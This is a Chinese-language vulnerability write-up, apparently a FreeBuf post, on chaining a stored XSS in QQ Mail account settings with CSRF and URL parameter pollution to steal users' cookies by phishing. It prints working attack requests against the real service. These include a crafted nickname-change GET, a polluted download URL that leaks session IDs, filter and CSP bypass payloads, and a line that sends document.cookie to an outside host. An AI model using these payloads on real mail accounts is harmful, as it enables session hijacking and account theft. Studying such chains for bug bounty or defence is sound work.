前言:疫情在家閒着無聊準備挖洞提src換點錢買個新電腦,對着TX的域名一頓操作,奈何太菜只在QQ郵箱發現一個存儲型self-xss。本着維護網絡安全爲己任的偉大夢想,怎麼能放任這個漏洞不被修復呢?必須繼續挖下去!!!

一、self-xss

qq郵箱在賬戶設置中因爲編輯器原因存在多處XSS,其中暱稱處存在存儲型XSS。

這個地方的XSS我想很多老哥都挖過,奈何TX不收啊, 正準備放棄的時候,腦子裏浮現了一張圖片:只有不努力的黑客,沒有攻不破的系統.png

二、抓包改命

打開BURP,進行抓包,把更改暱稱的包抓下來,發現是POST包,去掉無關參數改成get。

https://mail.qq.com/cgi-bin/setting4_editaccount?
sid=g9g7NNlnserJcHAu&
fun=edit&alias=6024539%40qq.com&
acctid=0&taskid=0&signvalid=1&
nickname=%3Cimg+src%3D1.gif+onerror%3Dalert%28"邊界駭客"%29%3E
&selectSign=-1

從上面get包可以看出 nickname 爲XSS參數,其中 sid 爲關鍵參數,只要獲取到sid就可以惡意構造數據包,誘騙別人點擊從而觸發XSS。

三、坎坷的SID獲取

通過搜索觀察JS等繁瑣操作,發現本地文件上傳會自動獲取到sid值。 嘗試網絡圖片,發現網絡圖片獲取不到sid值,通過對比分析不斷嘗試,終於發現可以在上傳的時候污染url參數,讓服務器進行誤判數據包如下:

http://202.182.100.68?mail.qq.com/cgi-bin/download?
sid=EUpcQayQKHM4MzNt&
upfile=7ZEaLqhogztd7WCLUL6pFXYarCUpMrqvb9FQGM5%2FLP%2FOd8yiJIFnHJetwNJtTadXhJHD1o%2B%2BzMOXwZGBd45fawmHtqR0CBxF0i35YN7jRAQNg%2B6blIvZyZwWQ4V2GW4RhMuLcCc4uv%FxFICwqvJPiQ%3D%3D

讓服務器誤判圖片爲本地上傳至文件服務器的,這樣只要別人打開你的郵件就可以獲取到sid值。

四、惡意構造get包,觸發XSS獲取cookie

在構造XSS的時候發現,XSS字符串存在字符限定和觸發過濾限制,這裏要感謝公衆號:鍾馗之眼的作者

4.1字符串長度限制

<img src=1 onerror=eval(window.parent.location.hash.substr(1))>

4.2單雙引號限制

eval(String.fromCharCode())

4.3CSP繞過

img=document.createElement('img');img.src='http://image.3001.net/2020/02/eec6417cf66331c0eee621cb445e205d.jpg'+escape(document.cookie);document.body.appendChild(img);

這樣就可以完美完成此次的釣魚攻擊了。效果圖如下:

攻擊流程圖:

這次涉及的漏洞一覽:csrf+參數污染+xss+cookie without httponly+get/post濫用+邏輯漏洞+郵件信任機制不嚴格+自動加載js等

*本文原創作者:꧁,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載

相關文章